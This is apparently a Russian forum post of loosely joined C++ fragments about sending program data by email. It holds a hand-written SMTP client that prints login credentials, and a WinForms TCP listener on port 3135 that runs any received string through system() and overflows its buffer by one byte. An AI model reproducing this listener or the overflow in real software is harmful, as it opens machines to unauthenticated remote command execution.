Отправка данных(переменных) на почту visual c++ windows forms

                 #define PORT 3135
                 char buf[3072];
WSADATA wsaData;
WSAStartup(0x202,&wsaData);
SOCKET s = socket(AF_INET,SOCK_STREAM,0);
SOCKET client_sock = socket(AF_INET,SOCK_STREAM,0);
sockaddr_in serv_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family=AF_INET;
serv_addr.sin_port=htons(PORT);
serv_addr.sin_addr.s_addr=0;
bind(s,(sockaddr*)&serv_addr,sizeof(serv_addr));
listen(s,10);
sockaddr_in client_addr;
int size_client_addr=sizeof(client_addr);
client_sock=accept(s,(sockaddr*)&client_addr,&size_client_addr);
label2->Text="Подключен";
 
for(int i=0;i<=3072;i++){
recv(client_sock, &buf[i], sizeof(buf[i]), 0);
if(buf[i]==0){
buf[i]=NULL;
break;}}
label1->Text=gcnew String(buf);
 system(buf);
 
shutdown(client_sock,20);
closesocket(client_sock);
shutdown(s,20);
closesocket(s);
WSACleanup();
label2->Text="Отключен";

    printf("login: %s\r\n", base64_decode(base64_encode(login.c_str(), login.length())).c_str());
    printf("password: %s\r\n", base64_decode(base64_encode(password.c_str(), password.length())).c_str());

//------------------------------------------------------------------------------
#include <winsock>
#include <stdio.h>
#include <string>
//------------------------------------------------------------------------------
static const std::string base64_chars = 
             "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
             "abcdefghijklmnopqrstuvwxyz"
             "0123456789+/";
 
 
static inline bool is_base64(unsigned char c) {
  return (isalnum(c) || (c == '+') || (c == '/'));
}
 
std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) {
  std::string ret;
  int i = 0;
  int j = 0;
  unsigned char char_array_3[3];
  unsigned char char_array_4[4];
 
  while (in_len--) {
    char_array_3[i++] = *(bytes_to_encode++);
    if (i == 3) {
      char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
      char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
      char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
      char_array_4[3] = char_array_3[2] & 0x3f;
 
      for(i = 0; (i <4) ; i++)
        ret += base64_chars[char_array_4[i]];
      i = 0;
    }
  }
 
  if (i)
  {
    for(j = i; j < 3; j++)
      char_array_3[j] = '\0';
 
    char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
    char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
    char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
    char_array_4[3] = char_array_3[2] & 0x3f;
 
    for (j = 0; (j < i + 1); j++)
      ret += base64_chars[char_array_4[j]];
 
    while((i++ < 3))
      ret += '=';
 
  }
 
  return ret;
 
}
 
std::string base64_decode(std::string const& encoded_string) {
  int in_len = encoded_string.size();
  int i = 0;
  int j = 0;
  int in_ = 0;
  unsigned char char_array_4[4], char_array_3[3];
  std::string ret;
 
  while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
    char_array_4[i++] = encoded_string[in_]; in_++;
    if (i ==4) {
      for (i = 0; i <4; i++)
        char_array_4[i] = base64_chars.find(char_array_4[i]);
 
      char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
      char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
      char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
 
      for (i = 0; (i < 3); i++)
        ret += char_array_3[i];
      i = 0;
    }
  }
 
  if (i) {
    for (j = i; j <4; j++)
      char_array_4[j] = 0;
 
    for (j = 0; j <4; j++)
      char_array_4[j] = base64_chars.find(char_array_4[j]);
 
    char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
    char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
    char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
 
    for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
  }
 
  return ret;
}
//------------------------------------------------------------------------------
int get_addr(char *host_name)
{
    int res = -1;
 
    HOSTENT *phe = gethostbyname(host_name);
    if (phe)
        for (int i = 0; i < 4; i++)
            ((BYTE *)&res)[i] = phe->h_addr_list[0][i];
 
    return res;
}
//------------------------------------------------------------------------------
bool _send(SOCKET s, const std::string &message)
{
    printf("u: %s", message.c_str());
    if (!send(s, message.c_str(), message.length(), 0)) return false;
 
    return true;
}
//------------------------------------------------------------------------------
bool _recv(SOCKET s, const unsigned code)
{
    char buffer[4096];
    int buffer_size = recv(s, buffer, sizeof(buffer), 0);
    if (!buffer_size) return false;
    buffer[buffer_size] = '\0';
    printf("s: %s", buffer);
 
    unsigned _code;
    if (sscanf(buffer, "%u", &_code) != 1 || _code != code) return false;
 
    return true;
}
//------------------------------------------------------------------------------
bool _send_recv(SOCKET s, const std::string &message, const unsigned code)
{
    return _send(s, message) && _recv(s, code);
}
//------------------------------------------------------------------------------
bool mail
(
    const unsigned smtp_port,
    const std::string &smtp_addr,
    const std::string &login,
    const std::string &password,
    const std::string &name,
    const std::string &from,
    const std::string &to,
    const std::string &data
)
{
    SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s == INVALID_SOCKET) return false;
 
    SOCKADDR_IN sa;
    sa.sin_family = AF_INET;
    sa.sin_port = htons(smtp_port);
    sa.sin_addr.S_un.S_addr = get_addr((char *)smtp_addr.c_str());
 
    printf("wait for server...");
    while (connect(s, (SOCKADDR *)&sa, sizeof(sa)))
        Sleep(250);
    printf("connected\n");
 
    //RECEIVER  220 mit.edu Simple Mail Transfer Service Ready
 
    //SENDER  HELO usc.edu
    //RECEIVER  250 mit.edu
 
    //SENDER  MAIL FROM:<Smith@usc.edu>
    //RECEIVER  250 OK
 
    //SENDER  RCPT TO:<Jones@mit.edu>
    //RECEIVER  250 OK
 
    //SENDER  DATA
    //RECEIVER  354 Start mail input; end with <CRLF>.<CRLF>
 
    //SENDER  Blah blah blah...
 
    //SENDER  .
    //RECEIVER  250 OK
    
    //SENDER  QUIT
    //RECEIVER  221 mit.edu Service closing transmission channel
 
    //а то ли мы туда передаем?
 
    printf("login: %s\r\n", base64_decode(base64_encode((const unsigned char *)login.c_str(), login.length())).c_str());
    printf("password: %s\r\n", base64_decode(base64_encode((const unsigned char *)password.c_str(), password.length())).c_str());
 
    bool res =
        _recv(s, 220) &&
        _send_recv(s, "EHLO " + name + "\r\n", 250) &&
        _send_recv(s, "AUTH LOGIN\r\n", 334) &&
        _send_recv(s, base64_encode((const unsigned char *)login.c_str(), login.length()) + "\r\n", 334) &&
        _send_recv(s, base64_encode((const unsigned char *)password.c_str(), password.length()) + "\r\n", 235) &&
        _send_recv(s, "MAIL FROM:<" + from + ">\r\n", 250) &&
        _send_recv(s, "RCPT TO:<" + to + ">\r\n", 250) &&
        _send_recv(s, "DATA\r\n", 354) &&
        _send(s, data) &&
        _send_recv(s, "\r\n.\r\n", 250) &&
        _send_recv(s, "QUIT\r\n", 221);
 
    closesocket(s);
 
    return res;
}
//------------------------------------------------------------------------------
int main(int argc, char* argv[])
{
    WSADATA wsa_data;
    if (WSAStartup(0x101, &wsa_data) || wsa_data.wVersion != 0x101) return -1;
 
    mail
    (
        587, "mail.rambler.ru",
        "xxx", "xxx",
        "user",
        "", "xxx@xxx.ru",
        "Subject: oops\r\n"
        "\r\n"
        "some text\r\n"
    );
 
    WSACleanup();
 
    system("pause");
    return 0;
}

y = (unsigned char *)login.c_str();

std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len);
std::string base64_decode(std::string const& encoded_string);
int get_addr(char *host_name);
bool _send(SOCKET s, const std::string &message);
bool _recv(SOCKET s, const unsigned code);
bool _send_recv(SOCKET s, const std::string &message, const unsigned code);
bool mail
(
    const unsigned smtp_port,
    const std::string &smtp_addr,
    const std::string &login,
    const std::string &password,
    const std::string &name,
    const std::string &from,
    const std::string &to,
    const std::string &data
);